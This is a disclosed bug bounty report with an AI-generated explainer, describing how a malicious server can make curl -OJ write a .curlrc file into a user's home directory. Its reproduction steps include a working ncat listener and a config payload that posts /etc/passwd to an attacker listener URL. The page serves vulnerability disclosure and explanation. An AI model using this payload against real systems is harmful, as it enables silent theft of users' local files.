Malicious server forces .curlrc creation via curl -OJ leading to local file exfiltration
A malicious server can force curl to save a response as .curlrc in the working directory when the user runs curl -OJ or -LO. If the download occurs in the home directory, the attacker overwrites ~/.curlrc, and subsequent curl commands load the malicious config, allowing silent exfiltration of local files or proxying of requests.
- Disclosed after 7 hours
Summary by the researcher
When a user runs curl -OJ <url> or curl -LO <url> , a malicious server can force the response to be saved as .curlrc in the working directory. If the user executes the download from their home directory (a common workflow), the attacker overwrites ~/.curlrc. Subsequent curl invocations automatically load this configuration file before processing command-line arguments, allowing the attacker to silently exfiltrate, overwrite local files or execute commands.
The report
Summary:
When a user runs curl -OJ <url>, a malicious server can force the response to be saved as .curlrc in the working directory. If the user executes the download from their home directory (a common workflow), the attacker overwrites ~/.curlrc. Subsequent curl invocations automatically load this configuration file before processing command-line arguments, allowing the attacker to silently exfiltrate local files or proxy future requests.
Used AI to refine the text
Affected version
djamelghorab@DESKTOP-VUFM4GM:~$ curl -V
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
Steps To Reproduce:
- Start a listener that serves a malicious payload:
cat <<'EOF' | ncat -l 8000 --keep-open
HTTP/1.1 200 OK
Content-Length: 63
Content-Disposition: attachment; filename=".curlrc"
url = "http://127.0.0.1:8000/leak"
data = "@/etc/passwd"
EOF
- From the target's home directory, download the file with
curl -OJ http://127.0.0.1:8000/pwn. The transfer creates~/.curlrcpopulated with the attacker's directives. - The next time the victim runs a routine command such as
curl https://example.com, the tool processes the injected configuration first and silently exfiltrates/etc/passwdtohttp://127.0.0.1:8000/leakbefore issuing the user-requested transfer.
Supporting Material/References:

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, curl trusts the server-provided filename from the Content-Disposition header without sanitising it, allowing a file named .curlrc to be written to the current directory, which curl later loads as a configuration file.
Impact
An attacker could silently exfiltrate local files or proxy future requests, but the attack requires the user to download from the home directory and later run curl again.
What the attacker needed
Victim runs curl -OJ or -LO; download occurs in home directory; victim later runs curl
How it was found
- Start a listener that serves a malicious payload with a Content-Disposition header setting the filename to .curlrc.
- From the target's home directory, download the file using curl -OJ.
- The next time the victim runs a routine curl command, the injected configuration is processed first and silently exfiltrates /etc/passwd.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
curl is a command-line tool for downloading files. When you use the -OJ option, it saves the file using the name the server suggests. A malicious server can suggest the name .curlrc, which is a hidden settings file that curl reads automatically. If that file is saved in your home folder, the attacker can change curl's behaviour and steal your files the next time you use curl.
What is File upload?
An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.